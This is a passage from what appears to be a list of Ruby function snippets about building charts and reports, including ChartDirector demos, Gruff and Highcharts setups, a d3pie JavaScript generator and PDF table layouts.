end\n\n ###pastmonth##\n @[email protected]('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n @[email protected]('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n @[email protected]('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n @[email protected]('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n @[email protected](responsetime: -1 ).where('created_at <=?',30.day.ago).where('created_at >=?',60.day.ago).count\n \n\n\n if @pastmonthTotal==0\n @pastmonthAvai=0\n else\n @pastmonthAvai=((@pastmonthTotal.round(2)[email protected](2))/@pastmonthTotal.round(2))*100\n end\n \n \n #/////////date/////\n @[email protected]_by_week(:created_at, last: 4, time_zone: \"Kuala Lumpur\").average(:responsetime)\n \n @total=[]\n @performance.group_by_week(:created_at, last: 4).count(:responsetime).each do |a|\n @total.push a[1] \n end\n @total2=[]\n @performance.group_by_week(:created_at, last: 4).where(responsetime: -1 ).count(:responsetime).each do |a|\n @total2.push a[1] \n end\n\n \n end", "def prepare_charts #:nodoc:\n count = 0\n charts = []\n\n # We sort the charts by row and column but that isn't strictly required.\n #\n rows = @charts.keys.sort\n rows.each do |row|\n cols = @charts[row].keys.sort\n cols.each do |col|\n charts.push(@charts[row][col])\n count += 1\n end\n end\n\n @charts = {}\n @charts_array = charts\n count\n end", "def getchart()\n # The data for the chart\n data0 = [32, 39, 23, 28, 41, 38, 26, 35, 29]\n data1 = [50, 55, 47, 34, 47, 53, 38, 40, 51]\n\n # The labels for the chart\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\"]\n\n # Create a XYChart object of size 600 x 300 pixels, with a pale red (ffdddd)\n # background, black border, 1 pixel 3D border effect and rounded corners.\n c = ChartDirector::XYChart.new(600, 300, 0xffdddd, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the plotarea at (55, 58) and of size 520 x 195 pixels, with white (ffffff)\n # background. Set horizontal and vertical grid lines to grey (cccccc).\n c.setPlotArea(55, 58, 520, 195, 0xffffff, -1, -1, 0xcccccc, 0xcccccc)\n\n # Add a legend box at (55, 32) (top of the chart) with horizontal layout. Use 9\n # pts Arial Bold font. Set the background and border color to Transparent.\n c.addLegend(55, 32, false, \"arialbd.ttf\", 9).setBackground(\n ChartDirector::Transparent)\n\n # Add a title box to the chart using 15 pts Times Bold Italic font. The title is\n # in CDML and includes embedded images for highlight. The text is white (ffffff)\n # on a dark red (880000) background, with soft lighting effect from the right\n # side.\n c.addTitle(\n \"<*block,valign=absmiddle*><*img=star.png*><*img=star.png*> Performance \" \\\n \"Enhancer <*img=star.png*><*img=star.png*><*/*>\", \"timesbi.ttf\", 15, 0xffffff\n ).setBackground(0x880000, -1, ChartDirector::softLighting(ChartDirector::Right\n ))\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"Energy Concentration (KJ per liter)\")\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Add a title to the x axis using CMDL\n c.xAxis().setTitle(\n \"<*block,valign=absmiddle*><*img=clock.png*> Elapsed Time (hour)<*/*>\")\n\n # Set the axes width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # Add a spline layer to the chart\n layer = c.addSplineLayer()\n\n # Set the default line width to 2 pixels\n layer.setLineWidth(2)\n\n # Add a data set to the spline layer, using blue (0000c0) as the line color, with\n # yellow (ffff00) circle symbols.\n layer.addDataSet(data1, 0x0000c0, \"Target Group\").setDataSymbol(\n ChartDirector::CircleSymbol, 9, 0xffff00)\n\n # Add a data set to the spline layer, using brown (982810) as the line color, with\n # pink (f040f0) diamond symbols.\n layer.addDataSet(data0, 0x982810, \"Control Group\").setDataSymbol(\n ChartDirector::DiamondSymbol, 11, 0xf040f0)\n\n # Add a custom CDML text at the bottom right of the plot area as the logo\n c.addText(575, 250,\n \"<*block,valign=absmiddle*><*img=small_molecule.png*> <*block*>\" \\\n \"<*font=timesbi.ttf,size=10,color=804040*>Molecular\\nEngineering<*/*>\"\n ).setAlignment(ChartDirector::BottomRight)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def initialize(_title, data_set_or_array, render_charts, chart_specs=nil)\n @title = _title\n @data_set = initialize_data_set(data_set_or_array)\n @render_charts = render_charts\n @charts = initialize_charts(chart_specs)\n end", "def getchart()\n #\n # We use a random number generator to simulate the data from 9:30am to 4:30pm\n # with one data point every 4 minutes. The total number of points during that\n # period is 106. (7 hours x 15 points/hour + 1)\n #\n noOfPoints = 106\n\n # Assume we have not reached the end of the day yet, and only 85 points are\n # available. Create a random table object of 1 col x 85 rows, using 9 as seed.\n rantable = ChartDirector::RanTable.new(9, 1, 85)\n\n # Set the 1st column to start with 1800 and with random delta from -5 to 5.\n rantable.setCol(0, 1800, -5, 5)\n\n # Get the data as the 1st column of the random table\n data = rantable.getCol(0)\n\n # The x-axis labels for the chart\n labels = [\"-\", \"10am\", \"-\", \" \", \"-\", \"12am\", \"-\", \" \", \"-\", \"2pm\", \"-\", \" \", \"-\",\n \"4pm\", \"-\"]\n\n #\n # Now we obtain the data into arrays, we can start to draw the chart using\n # ChartDirector\n #\n\n # Create a XYChart object of size 180 x 180 pixels with a blue background\n # (0x9c9cce)\n c = ChartDirector::XYChart.new(180, 180, 0x9c9cce)\n\n # Add titles to the top and bottom of the chart using 7.5pt Arial font. The text\n # is white 0xffffff on a deep blue 0x31319C background.\n c.addTitle2(ChartDirector::Top, \"STAR TECH INDEX 2003-01-28\", \"arial.ttf\", 7.5,\n 0xffffff, 0x31319c)\n c.addTitle2(ChartDirector::Bottom, \"LATEST STI:1809.41 (+14.51)\", \"arial.ttf\",\n 7.5, 0xffffff, 0x31319c)\n\n # Set the plotarea at (31, 21) and of size 145 x 124 pixels, with a pale yellow\n # (0xffffc8) background.\n c.setPlotArea(31, 21, 145, 124, 0xffffc8)\n\n # Add custom text at (176, 21) (top right corner of plotarea) using 11pt Times\n # Bold Italic font/red (0xc09090) color\n c.addText(176, 21, \"Chart Demo\", \"timesbi.ttf\", 11, 0xc09090).setAlignment(\n ChartDirector::TopRight)\n\n # Use 7.5 pts Arial as the y axis label font\n c.yAxis().setLabelStyle(\"\", 7.5)\n\n # Set the labels on the x axis by spreading the labels evenly between the first\n # point (index = 0) and the last point (index = noOfPoints - 1)\n c.xAxis().setLinearScale(0, noOfPoints - 1, labels)\n\n # Use 7.5 pts Arial as the x axis label font\n c.xAxis().setLabelStyle(\"\", 7.5)\n\n # Add a deep blue (0x000080) line layer to the chart\n c.addLineLayer(data, 0x000080)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def prepare_piechart_json(utilization_date, record, key)\n titles, ids, data, links = [], [], [], []\n involved, total = 0, 0\n if key == 'team'\n # employees = Employee.where(team_id: id)\n # FIXME_AB: avoid using unless statements unless you really need it, as discussed\n # Fixed\n record.team_leads.active_on(utilization_date).each do |team_lead| \n #FIXME_AB: avoid using unless statements unless you really need it, as discussed\n titles << team_lead.name\n total, involved = find_involvement( team_lead, utilization_date )\n data = push_data( data, total, involved )\n ids << team_lead.id \n links << view_context.link_to(team_lead.name, employee_path(team_lead) )\n end\n elsif key == 'emp'\n record.subordinates.active_on(utilization_date).each do |employee|\n titles << employee.name\n total, involved = find_involvement(employee, utilization_date)\n data = push_data(data, total, involved)\n ids << employee.id\n links << view_context.link_to(employee.name, employee_path(employee))\n end\n end\n pie_report_hash = {'ids' => ids, 'data' => data, 'titles' => titles, 'links' => links}\n return pie_report_hash\n end", "def getchart()\n # The data for the chart\n data0 = [42, 49, ChartDirector::NoValue, 38, 64, 56, 29, 41, 44, 57]\n data1 = [65, 75, 47, 34, 42, 49, 73, ChartDirector::NoValue, 90, 69, 66, 78]\n data2 = [ChartDirector::NoValue, ChartDirector::NoValue, 25, 28, 38, 20, 22,\n ChartDirector::NoValue, 25, 33, 30, 24]\n labels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\",\n \"Nov\", \"Dec\"]\n\n # Create a XYChart object of size 600 x 360 pixels. Set background color to\n # brushed silver, with a 2 pixel 3D border. Use rounded corners.\n c = ChartDirector::XYChart.new(600, 360, ChartDirector::brushedSilverColor(),\n ChartDirector::Transparent, 2)\n c.setRoundedFrame()\n\n # Add a title using 18 pts Times New Roman Bold Italic font. #Set top/bottom\n # margins to 6 pixels.\n title = c.addTitle(\"Product Line Global Revenue\", \"timesbi.ttf\", 18)\n title.setMargin2(0, 0, 6, 6)\n\n # Add a separator line just under the title\n c.addLine(10, title.getHeight(), c.getWidth() - 11, title.getHeight(),\n ChartDirector::LineColor)\n\n # Add a legend box where the top-center is anchored to the horizontal center of\n # the chart, just under the title. Use horizontal layout and 10 points Arial Bold\n # font, and transparent background and border.\n legendBox = c.addLegend(c.getWidth() / 2, title.getHeight(), false, \"arialbd.ttf\",\n 10)\n legendBox.setAlignment(ChartDirector::TopCenter)\n legendBox.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Tentatively set the plotarea at (70, 75) and of 460 x 240 pixels in size. Use\n # transparent border and black (000000) grid lines\n c.setPlotArea(70, 75, 460, 240, -1, -1, ChartDirector::Transparent, 0x000000, -1)\n\n # Set the x axis labels\n c.xAxis().setLabels(labels)\n\n # Show the same scale on the left and right y-axes\n c.syncYAxis()\n\n # Set y-axis tick density to 30 pixels. ChartDirector auto-scaling will use this\n # as the guideline when putting ticks on the y-axis.\n c.yAxis().setTickDensity(30)\n\n # Set all axes to transparent\n c.xAxis().setColors(ChartDirector::Transparent)\n c.yAxis().setColors(ChartDirector::Transparent)\n c.yAxis2().setColors(ChartDirector::Transparent)\n\n # Set the x-axis margins to 15 pixels, so that the horizontal grid lines can\n # extend beyond the leftmost and rightmost vertical grid lines\n c.xAxis().setMargin(15, 15)\n\n # Set axis label style to 8pts Arial Bold\n c.xAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis2().setLabelStyle(\"arialbd.ttf\", 8)\n\n # Add axis title using 10pts Arial Bold Italic font\n c.yAxis().setTitle(\"Revenue in USD millions\", \"arialbi.ttf\", 10)\n c.yAxis2().setTitle(\"Revenue in USD millions\", \"arialbi.ttf\", 10)\n\n # Add the first line. The missing data will be represented as gaps in the line\n # (the default behaviour)\n layer0 = c.addLineLayer2()\n layer0.addDataSet(data0, 0xff0000, \"Quantum Computer\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer0.setLineWidth(3)\n\n # Add the second line. The missing data will be represented by using dash lines to\n # bridge the gap\n layer1 = c.addLineLayer2()\n layer1.addDataSet(data1, 0x00ff00, \"Atom Synthesizer\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer1.setLineWidth(3)\n layer1.setGapColor(c.dashLineColor(0x00ff00))\n\n # Add the third line. The missing data will be ignored - just join the gap with\n # the original line style.\n layer2 = c.addLineLayer2()\n layer2.addDataSet(data2, 0xff6600, \"Proton Cannon\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer2.setLineWidth(3)\n layer2.setGapColor(ChartDirector::SameAsMainColor)\n\n # layout the legend so we can get the height of the legend box\n c.layoutLegend()\n\n # Adjust the plot area size, such that the bounding box (inclusive of axes) is 15\n # pixels from the left edge, just under the legend box, 16 pixels from the right\n # edge, and 25 pixels from the bottom edge.\n c.packPlotArea(15, legendBox.getTopY() + legendBox.getHeight(), c.getWidth() - 16,\n c.getHeight() - 25)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::JPG), :type => \"image/jpeg\",\n :disposition => \"inline\")\n end", "def initialize_attributes\n @marker_count = nil\n @maximum_value = @minimum_value = nil\n @labels = {}\n @sort = false\n @sorted_drawing = false\n @title = nil\n\n @title_font = Gruff::Font.new(size: 36.0, bold: true)\n @marker_font = Gruff::Font.new(size: 21.0)\n @legend_font = Gruff::Font.new(size: 20.0)\n\n @top_margin = @bottom_margin = @left_margin = @right_margin = DEFAULT_MARGIN\n @legend_margin = LEGEND_MARGIN\n @title_margin = TITLE_MARGIN\n\n @legend_box_size = 20.0\n\n @no_data_message = 'No Data'\n\n @hide_line_markers = @hide_legend = @hide_title = @hide_line_numbers = @legend_at_bottom = false\n @center_labels_over_point = true\n @has_left_labels = false\n @label_stagger_height = 0\n @label_max_size = 0\n @label_truncation_style = :absolute\n\n @x_axis_increment = nil\n @x_axis_label = @y_axis_label = nil\n @y_axis_increment = nil\n\n @x_axis_label_format = nil\n @y_axis_label_format = nil\n end", "def draw_d3pie_chart(type, which, data, num, colors, title, width, height,\n mainlabelsize, titlesize, valuesize, tooltipsize,\n segmentsize, pieouterradius, pieinnerradius, piedistance, linesenabled,\n pulloutsegmentsize, titlefont, footerfont, footerfontsize, backgroundcolor,\n footercolor)\n high = 1; seen = []; element = ''\n data.map do |x|\n if x[1] > high\n high = x[1]\n element = x[0]\n end\n seen << x[1]\n end\n footertext = if high > 1 && seen.size > 1 && seen.count(high) == 1\n if type.zero?\n \"#{high} \\\"#{element}\\\"#{element == 'folders' ? '' : ' files'} occurred most frequently\"\n elsif type == 1\n \"#{high} maximum occurrences in file \\\"#{element}\\\"\"\n else\n \"#{high} maximum occurrences for the word \\\"#{element}\\\"\"\n end\n end\n\n s = \"\n var pie = new d3pie('d3pie_chart_div_#{which}', {\n 'header': {\n 'title': {\n 'text': '#{chart_title(title, num)}',\n 'fontSize': #{titlesize},\n 'font': '#{titlefont}'\n }\n },\n 'footer': {\n 'text': '#{footertext}',\n 'color': '##{footercolor}',\n 'fontSize': #{footerfontsize},\n 'font': '#{footerfont}',\n 'location': 'bottom-center'\n },\n 'size': {\n 'canvasWidth': #{width},\n 'canvasHeight': #{height},\n 'pieOuterRadius': '#{pieouterradius}',\n 'pieInnerRadius': '#{pieinnerradius}'\n },\n\n 'data': {\n 'sortOrder': 'value-desc',\n 'smallSegmentGrouping': {\n 'enabled': true,\n 'value': #{segmentsize}\n },\n 'content': [\"\n data.each do |x|\n if x[0].include?('.') || type != 2\n s += \"{'label':'#{x[0].split('.').first}','value':#{x[1]},'color':'#{colors[:\"#{x[0]}\"]}'},\"\n else\n s += \"{'label':'#{x[0]}','value':#{x[1]},'color':'black'},\"\n end\n end\n s.chop!\n s + \"\n ]\n },\n callbacks: {\n onMouseoverSegment: function(info) {\n console.log('mouseover:', info);\n },\n onMouseoutSegment: function(info) {\n console.log('mouseout:', info);\n }\n },\n 'labels': {\n 'outer': {\n 'pieDistance': #{piedistance}\n },\n 'inner': {\n 'format': 'value',\n 'hideWhenLessThanPercentage': 3\n },\n 'mainLabel': {\n 'fontSize': #{mainlabelsize}\n },\n 'percentage': {\n 'color': '#ffffff',\n 'decimalPlaces': 0\n },\n 'value': {\n 'color': '#ffffff',\n 'fontSize': #{valuesize}\n },\n 'lines': {\n 'enabled': #{linesenabled}\n },\n 'truncation': {\n 'enabled': true\n }\n },\n 'tooltips': {\n 'enabled': true,\n 'type': 'placeholder',\n 'string': '{label}: {value}, {percentage}%',\n 'styles': {\n 'fadeInSpeed': 586,\n 'backgroundOpacity': 0.7,\n 'color': '#ffffff',\n 'fontSize': #{tooltipsize}\n }\n },\n 'effects': {\n 'pullOutSegmentOnClick': {\n 'effect': 'linear',\n 'speed': 400,\n 'size': #{pulloutsegmentsize}\n }\n },\n 'misc': {\n 'colors': {\n 'background': '##{backgroundcolor}'\n },\n 'gradient': {\n 'enabled': true,\n 'percentage': 100\n }\n }\n });\\n\"\nend", "def getchart()\n # The data for the area chart\n data = [3.0, 2.8, 4.0, 5.5, 7.5, 6.8, 5.4, 6.0, 5.0, 6.2, 7.5, 6.5, 7.5, 8.1, 6.0,\n 5.5, 5.3, 3.5, 5.0, 6.6, 5.6, 4.8, 5.2, 6.5, 6.2]\n\n # The labels for the area chart\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 300 x 180 pixels. Set the background to pale\n # yellow (0xffffa0) with a black border (0x0)\n c = ChartDirector::XYChart.new(300, 180, 0xffffa0, 0x000000)\n\n # Set the plotarea at (45, 35) and of size 240 x 120 pixels. Set the background to\n # white (0xffffff). Set both horizontal and vertical grid lines to black (&H0&)\n # dotted lines (pattern code 0x0103)\n c.setPlotArea(45, 35, 240, 120, 0xffffff, -1, -1, c.dashLineColor(0x000000,\n 0x000103), c.dashLineColor(0x000000, 0x000103))\n\n # Add a title to the chart using 10 pts Arial Bold font. Use a 1 x 2 bitmap\n # pattern as the background. Set the border to black (0x0).\n c.addTitle(\"Snow Percipitation (Dec 12)\", \"arialbd.ttf\", 10).setBackground(\n c.patternColor([0xb0b0f0, 0xe0e0ff], 2), 0x000000)\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"mm per hour\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 3 labels on the x-axis.\n c.xAxis().setLabelStep(3)\n\n # Add an area layer to the chart\n layer = c.addAreaLayer()\n\n # Load a snow pattern from an external file \"snow.png\".\n snowPattern = c.patternColor2(File.dirname(__FILE__) + \"/snow.png\")\n\n # Add a data set to the area layer using the snow pattern as the fill color. Use\n # deep blue (0x0000ff) as the area border line color (&H0000ff&)\n layer.addDataSet(data).setDataColor(snowPattern, 0x0000ff)\n\n # Set the line width to 2 pixels to highlight the line\n layer.setLineWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The data with error information\n data = [42, 49, 33, 38, 51, 46, 29, 41, 44, 57, 59, 52, 37, 34, 51, 56, 56, 60,\n 70, 76, 63, 67, 75, 64, 51]\n errData = [5, 6, 5.1, 6.5, 6.6, 8, 5.4, 5.1, 4.6, 5.0, 5.2, 6.0, 4.9, 5.6, 4.8,\n 6.2, 7.4, 7.1, 6.0, 6.6, 7.1, 5.3, 5.5, 7.9, 6.1]\n\n # The labels for the chart\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 600 x 300 pixels, with a light grey (eeeeee)\n # background, black border, 1 pixel 3D border effect and rounded corners.\n c = ChartDirector::XYChart.new(600, 300, 0xeeeeee, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the plotarea at (55, 55) and of size 520 x 195 pixels, with white (ffffff)\n # background. Set horizontal and vertical grid lines to grey (cccccc).\n c.setPlotArea(55, 55, 520, 195, 0xffffff, -1, -1, 0xcccccc, 0xcccccc)\n\n # Add a title box to the chart using 15 pts Times Bold Italic font. The title is\n # in CDML and includes embedded images for highlight. The text is on a light grey\n # (dddddd) background, with glass lighting effect.\n c.addTitle(\n \"<*block,valign=absmiddle*><*img=star.png*><*img=star.png*> Molecular \" \\\n \"Temperature Control <*img=star.png*><*img=star.png*><*/*>\", \"timesbi.ttf\", 15\n ).setBackground(0xdddddd, 0, ChartDirector::glassEffect())\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"Temperature\")\n\n # Add a title to the x axis using CMDL\n c.xAxis().setTitle(\n \"<*block,valign=absmiddle*><*img=clock.png*> Elapsed Time (hour)<*/*>\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 3 labels on the x-axis. Show minor ticks for remaining labels.\n c.xAxis().setLabelStep(3, 1)\n\n # Set the axes width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # Add a line layer to the chart\n lineLayer = c.addLineLayer2()\n\n # Add a blue (0xff) data set to the line layer, with yellow (0xffff80) diamond\n # symbols\n lineLayer.addDataSet(data, 0x0000ff).setDataSymbol(ChartDirector::DiamondSymbol,\n 12, 0xffff80)\n\n # Set the line width to 2 pixels\n lineLayer.setLineWidth(2)\n\n # Add a box whisker layer to the chart. Use the upper and lower mark of the box\n # whisker layer to act as error zones. The upper and lower marks are computed\n # using the ArrayMath object.\n errLayer = c.addBoxWhiskerLayer(nil, nil, ChartDirector::ArrayMath.new(data).add(\n errData).result(), ChartDirector::ArrayMath.new(data).sub(errData).result(),\n data, ChartDirector::Transparent, 0xbb6633)\n\n # Set the line width to 2 pixels\n errLayer.setLineWidth(2)\n\n # Set the error zone to occupy half the space between the symbols\n errLayer.setDataGap(0.5)\n\n # Add a custom CDML text at the bottom right of the plot area as the logo\n c.addText(575, 247,\n \"<*block,valign=absmiddle*><*img=small_molecule.png*> <*block*>\" \\\n \"<*font=timesbi.ttf,size=10,color=804040*>Molecular\\nEngineering<*/*>\"\n ).setAlignment(ChartDirector::BottomRight)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def pie\n\n# Render json data containing the different fields: (For ajax use)\n render :json => [\n { label: ' ', value: Cache.where(source: 'original').count},\n { label: ' ', value: Cache.where(source: 'collamine').count} \n ]\n end", "def chart_data_full\n {\n labels: Array.new(chart_data.length, ''),\n datasets: [\n {\n fillColor: \"rgba(220,220,220,0.2)\",\n strokeColor: \"rgba(220,220,220,1)\",\n data: chart_data\n }\n ]\n }\n end", "def chart_data_full\n {\n labels: Array.new(chart_data.length, ''),\n datasets: [\n {\n fillColor: \"rgba(220,220,220,0.2)\",\n strokeColor: \"rgba(220,220,220,1)\",\n data: chart_data\n }\n ]\n }\n end", "def grafico_activitad(vaca,num_dias)\n\n date_actividad = num_dias.days.ago.localtime\n\n actividades_total = vaca.actividades.where(\"registrada >= ? and tipo = ?\", date_actividad,'recorrido') \n n=0\n data_total = [[]]\n data_prom = [[]]\n \n actividades_total.each do |actividad|\n data_total[n] = [actividad.registrada.localtime,actividad.valor]\n act_prom = actividad_promedio_en(actividad.registrada)\n data_prom[n] = [actividad.registrada.localtime,act_prom]\n n = n+1\n end \n \n startPoint = 24.hours.ago.localtime\n if !data_total[0][0].nil? && data_total.size >0 \n startPoint = data_total[0][0].advance(:hours => (-3).to_i).localtime\n end\n startPoint = startPoint.change(:min => 0)\n \n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.options[:chart][:defaultSeriesType] = \"spline\"\n f.options[:chart][:zoomType] = \"x\"\n f.options[:legend][:align] = \"right\"\n f.options[:legend][:verticalAlign] = \"top\"\n f.options[:legend][:floating] = \"true\"\n f.global(:useUTC => 'false')\n\n f.series(:name=>'Actividad Vaca ' + vaca.caravana.to_s, :data => data_total, \n :pointInterval => 3600000,:pointStart => (startPoint.to_i * 1000))\n f.series(:name=>'Actividad Promedio', :data => data_prom, \n :pointInterval => 3600000,:pointStart => (startPoint.to_i * 1000))\n \n f.options[:yAxis][:title] = {text: \"Eventos\"}\n f.options[:xAxis][:maxZoom] = \"14 * 24 * 3600000\"\n f.options[:xAxis][:type] = \"datetime\"\n f.options[:tooltip][:shared] = 'true'\n \n f.title(text: 'Actividad Vaca ' + vaca.caravana.to_s + ' ultimos ' + num_dias.to_s + ' dias') \n end\n\n return @chart\nend", "def adler_chart(i)\r\n AdlerChart.new self, i\r\n end", "def pie_planilla\n\n sello = make_table([ [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: 'Sello:', :size => 6, :border_bottom_width => 0 , :border_top_width => 1, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}] ,\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}] ,\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 1 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}]\n ])\n\n huella = make_table([ [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: 'Huella Dactilar:', :size => 6, :border_bottom_width => 0 , :border_top_width => 1, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}] ,\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}] ,\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}],\n [{content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 120}, {content: '', :border_bottom_width => 1 , :border_top_width => 0, :width => 100}, {content: '', :border_bottom_width => 0 , :border_top_width => 0, :width => 40}]\n ])\n table( [\n [{content:'Nombre:', colspan: 1,:size => 6, :border_bottom_width => 0 , :border_top_width => 0, :width => 260}, {content:'Lugar:', colspan: 1,:size => 6, :border_bottom_width => 0 , :border_top_width => 0, :width => 260}],\n [{content:'C.I:', :size => 6, :border_bottom_width => 0 , :border_top_width => 0, colspan: 1, :width => 260 }, {content:'Fecha:', colspan: 1,:size => 6, :border_bottom_width => 0 , :border_top_width => 0, :width => 260}],\n [{content:'Fecha:', colspan: 1, :size => 6, :border_bottom_width => 0 , :border_top_width => 0, :width => 260}, {content:'Firma:', colspan: 1, :size => 6, :border_bottom_width => 0 , :border_top_width => 0, :width => 260}],\n [ {content: sello, colspan: 1, :border_top_width => 0,:border_bottom_width => 0, :width => 260}, {content: huella, colspan: 1, :border_bottom_width => 0 , :border_top_width => 0, :width => 260}],\n [ {content: '', colspan: 1, :border_top_width => 0, :border_bottom_width => 1, :width => 260}, {content: '', colspan: 1, :border_bottom_width => 1 , :border_top_width => 0, :width => 260}]\n ])\n\n end", "def init(data=[], options={}, user_options={})\n # Alternate way is using `add_series` method.\n #\n # There are many options present in Highcharts so it is better to use\n # directly all the options. That means Daru::View::Plot will\n # behave same as LazyHighCharts when `data` is an Array and\n # `options` are passed.\n #\n @chart = LazyHighCharts::HighChart.new do |f|\n # all the options present in `options` and about the\n # series (means name, type, data) used in f.series(..)\n f.options = options.empty? ? LazyHighCharts::HighChart.new.defaults_options : options\n # For multiple series when data is in a series format as in\n # HighCharts official examples\n # TODO: Add support for multiple series when data as\n # Daru::DataFrame/Daru::Vector\n if data.is_a?(Array) && data[0].is_a?(Hash)\n f.series_data = data\n else\n data_new = guess_data(data)\n series_type = options[:type] unless options[:type].nil?\n series_name = options[:name] unless options[:name].nil?\n f.series(type: series_type, name: series_name, data: data_new)\n end\n end\n @chart.user_options = user_options\n @chart\n end", "def charts\n @last_month_active_recipe_data = Recipe.recent_recipe_meals(current_user, true)\n @last_month_inactive_recipe_data = Recipe.recent_recipe_meals(current_user, false)\n @difficulty_level_last_month = Recipe.difficulty_level_of_recent_meals(current_user)\n @food_group_data = FoodGroup.recent_food_groups_in_meals(current_user)\n @difficulty_data = Recipe.current_user_difficulty_of_recipes(current_user)\n @ingredient_data = Recipe.ingredients_in_active_recipes(current_user)\n end", "def initialize(target_width=DEFAULT_TARGET_WIDTH, chart_title='No Title', chart_data=[], max_value=0)\n if not Numeric === target_width\n geometric_width, geometric_height = target_width.split('x')\n @columns = geometric_width.to_f\n @rows = geometric_height.to_f\n else\n @columns = target_width.to_f\n @rows = 450 #target_width.to_f * 9/16\n end\n\n chart_data ||= 